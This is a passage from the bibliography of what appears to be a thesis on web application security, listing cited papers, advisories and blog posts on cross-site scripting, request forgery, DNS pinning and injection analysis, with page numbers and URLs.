Password-stealing-for-dummies--/features/93141, August 2007.

[233] John Schneider, Rok Yu, and Jeff Dyer (Editors). ECMAScript for XML (E4X)
Specification. ECMA Standard 357, http://www.ecma-international.org/
publications/standards/Ecma-357.htm, 2nd Edition, December 2005.

[234] Thomas Schreiber. Session Riding - A Widespread Vulnerability in Today’s

Web Applications. Whitepaper, SecureNet GmbH, http://www.securenet.de/
papers/Session Riding.pdf, December 2004.

[235] D. Scott and R. Sharp. Abstracting application-level Web security. In WWW

2002, pages 396 – 407. ACM Press New York, NY, USA, 2002.

[236] Michael L. Scott. Programming Language Pragmatics. Elesevier/Morgan Kauf-

mann Publishers, 2nd edition, 2006.

[237] Princeton University Secure Internet Programming Group. DNS Attack Scenario.
[online], http://www.cs.princeton.edu/sip/news/dns-scenario.html, Febru-
ary 1996.

[238] Rajesh Sethumadhavan. Microsoft Internet Explorer Local File Accesses Vul-
nerability. Posting to the full disclosure mailing list, http://seclists.org/
fulldisclosure/2007/Feb/0434.html, February 2007.

[239] U. Shankar, K. Talwar, J. S. Foster, and D. Wagner. Detecting format string

vulnerabilities with type qualifiers. In Proceedings of the 10th USENIX Security
Symposium, 2001.

[240] Mohsen Sharifi, Alireza Saberi, Mojtaba Vahidi, and Mohammad Zoroufi. A Zero
Knowledge Password Proof Mutual Authentication Technique Against Real-Time
Phishing Attacks. In Patrick Drew McDaniel and Shyam K. Gupta, editors, ICISS,
volume 4812 of Lecture Notes in Computer Science, pages 254–258. Springer, 2007.

[241] Skype Technologies S.A. Skype. [software], http://www.skype.com.

[242] Geoffrey Smith. Malware Detection, chapter 13 ”Principles of Secure Information

Flow Analysis”, pages 91–307. Springer-Verlag, 2007.

248
 Bibliography

[243] Window Snyder. jar: Protocol XSS Security Issues. [online], http://blog.
mozilla.com/security/2007/11/16/jar-protocol-xss-security-issues/,
(04/18/08), November 2007.

[244] Sophos. JS/Spacehero-A. [online], virus specification, http://www.sophos.com/

security/analyses/viruses-and-spyware/jsspaceheroa.html, 2005.

[245] Josh Soref. DNS: Spoofing and Pinning. [online], http://viper.haque.net/

∼timeless/blog/11/, (14/11/06), September 2003.

[246] Sid Stamm, Zulfikar Ramzan, and Markus Jakobsson. Drive-by Pharming. In In
Proceedings of Information and Communications Security (ICICS ’07), number
4861 in LNCS, December 2007.

[247] Dafydd Stuttard. DNS Pinning and Web Proxies. NISR whitepaper, http://www.
ngssoftware.com/research/papers/DnsPinningAndWebProxies.pdf, 2007.

[248] Zhendong Su and Gary Wassermann. The Essence of Command Injection Attacks
in Web Applications. In Proceedings of POPL’06, January 2006.

[249] Sun Developer Network. Java Remote Method Invocation (RMI). [online], http://
java.sun.com/javase/technologies/core/basic/rmi/index.jsp, (08/08/08).

[250] Sun Microsystems Inc. Java. [online], http://java.sun.com/.

[251] Sun Microsystems Inc. Java Applets - Code Samples and Apps. [online], http:
//java.sun.com/applets/ (08/10/09).

[252] Sun Microsystems Inc. J2EE - Java Platform Enterprise Edition 5. [online], http:
//java.sun.com/javaee/technologies/javaee5.jsp, (05/05/07), 2007.

[253] Sun Microsystems Inc. JavaServer Pages Technology. [online], http://java.sun.

com/products/jsp/, (05/18/07), 2007.

[254] The PHP Group. PHP: Hypertext Preprocessor. Programming Language, http:
//www.php.net, 1995 - 2009.

[255] The webappsec mailing list. The Cross Site Scripting (XSS) FAQ. [online], http:
//www.cgisecurity.com/articles/xss-faq.shtml, May 2002.

[256] Jochen Topf. The HTML Form Protocol Attack. Whitepaper, http://www.
remote.org/jochen/sec/hfpa/hfpa.pdf, August 2001.

[257] Rosario Valotta. Nduja Connection: A proof of concept of a XWW - cross webmail
worm. [online], http://rosario.valotta.googlepages.com/home, (04/17/08),
July 2007.

[258] Anne van Kesteren. The XMLHttpRequest Object. W3C Working Draft, http:
//www.w3.org/TR/XMLHttpRequest, April 2008.

249
Bibliography

[259] Anne van Kesteren (Editor). Cross-Origin Resource Sharing. W3C Working Draft,
Version 20090317, http://www.w3.org/TR/access-control/, March 2009.

[260] John Viega, J.T. Bloch, Tadayoshi Kohno, and Gary McGraw. ITS4: A static
vulnerability scanner for C and C++ code. In Proceedings of the 16th Annual
Computer Security Applications Conference, 2000.

[261] Philipp Vogt, Florian Nentwich, Nenad Jovanovic, Christopher Kruegel, Engin
Kirda, and Giovanni Vigna. Cross Site Scripting Prevention with Dynamic Data
Tainting and Static Analysis. In 14th Annual Network and Distributed System
Security Symposium (NDSS 2007), 2007.

[262] Dennis M. Volpano, Geoffrey Smith, and Cynthia Irvine. A sound type system for
secure flow analysis. Journal of Computer Security, 4:167–187, 1996.

[263] L. von Ahn, M. Blum, N. Hopper, and J. Langford. CAPTCHA: Using Hard AI
Problems For Security. In Proceedings of Eurocrypt, pages 294–311, 2003.

[264] Sergey Vzloman and Robert Hansen. Enumerate Windows Users In JS. [online],
http://ha.ckers.org/blog/20070518/enumerate-windows-users-in-js/,
(08/08/07), May 2007.

[265] Sergey Vzloman and Robert Hansen. Read Firefox Settings (PoC).
[online], http://ha.ckers.org/blog/20070516/read-firefox-settings-poc/,
(08/08/07), May 2007.

[266] W3C. Cascading Style Sheets. http://www.w3.org/Style/CSS/.

[267] W3C. CGI: Common Gateway Interface. [online], http://www.w3.org/CGI/

(02/19/09), October 1999.

[268] Larry Wall, Tom Christiansen, and Jon Orwant. Programming Perl. O’Reilly, 3rd
edition, July 2000.

[269] Gary Wassermann and Zhendong Su. Sound and Precise Analysis of Web Ap-
plications for Injection Vulnerabilities. In Proceedings of Programming Language
Design and Implementation (PLDI’07), San Diego, CA, June 10-13 2007.

[270] Gary Wassermann and Zhendong Su. Static Detection of Cross-Site Scripting
Vulnerabilities. In Proceedings of the 30th International Conference on Software
Engineering, Leipzig, Germany, May 2008. ACM Press New York, NY, USA.

[271] Web Application Security Consortium. Threat Classification. whitepaper, http:

//www.webappsec.org/projects/threat/v1/WASC-TC-v1 0.pdf, 2004.

[272] Web Application Security Consortium. The Web Security Threat Classifica-
tion - Path Traversal. [online], http://www.webappsec.org/projects/threat/
classes/path traversal.shtml, (08/08/08), 2005.

250
 Bibliography

[273] Web Application Security Consortium. The Script Mapping Project. [online],
http://www.webappsec.org/projects/scriptmapping/ (04/30/08), December
2007.

[274] Christian Weitendorf. Implementierung von Ma§nahmen zur Sicherung des Web-
Session-Managements im J2EE-Framework. Master’s thesis, University of Ham-
burg, 2006.

[275] Justus Winter and Martin Johns. LocalRodeo: Client Side Protection against
JavaScript Malware. [online], http://databasement.net/labs/localrodeo,
(01/02/07), January 2007.

[276] Min Wu, Robert C. Miller, and Greg Little. Web Wallet: Preventing Phishing
Attacks by Revealing User Intentions. In Proceedings of the second symposium on
Usable privacy and security (SOUPS 06), 2006.

[277] Yichen Xie and Alex Aiken. Static Detection of Security Vulnerabilities in Scripting
Languages. In 15th USENIX Security Symposium, 2006.

[278] XSS-News. A large number of sites hosted by 1&1 Internet Inc. are
vulnerable to XSS. [online], http://www.xssnews.com/2007/12/27/
a-large-number-of-sites-hosted-by-11-internet-inc-are-vulnerable-to-xss/,
(04/17/08), December 2007.

[279] Wei Xu, Sandeep Bhatkar, and R. Sekar. Taint-Enhanced Policy Enforcement: A
Practical Approach to Defeat a Wide Range of Attacks. In 15th USENIX Security
Symposium, August 2006.

[280] Yahoo Inc. Delicious.com - social bookmarking. web application, http://

delicious.com/, (02/01/09), 2009.

[281] Yves Younan, Wouter Joosen, and Frank Piessens. Efficient protection against
heap-based buffer overflows without resorting to magic. In Eighth International
Conference on Information and Communication Security (ICICS 2006), 2006.

[282] Yves Younan, Davide Pozza, Frank Piessens, and Wouter Joosen. Extended protec-
tion against stack smashing attacks without performance loss. In Twenty-Second
Annual Computer Security Applications Conference (ACSAC 2006), 2006.

[283] Michal Zalewski. Browser Security Handbook. Whitepaper, Google Inc., http:
//code.google.com/p/browsersec/wiki/Main, (01/13/09), 2008.

[284] Thiago Zaninotti and Amit Klein. Apache HTTPd ”Expect” Header Handling
Client-Side Cross Site Scripting Vulnerability (CVE-2006-3918). [online]. http:
//www.frsirt.com/english/advisories/2006/2963, (05/05/07), July 2006.

[285] Steve Zdancewic and Andrew C. Myers. Robust Declassification. In Proceedings

of the 14th IEEE Computer Security Foundations Workshop, June 2001.

251
Bibliography

[286] William Zeller and Edward W. Felten. Cross-Site Request Forgeries: Exploitation
and Prevention. Technical report, Princeton University, 2008.

View
252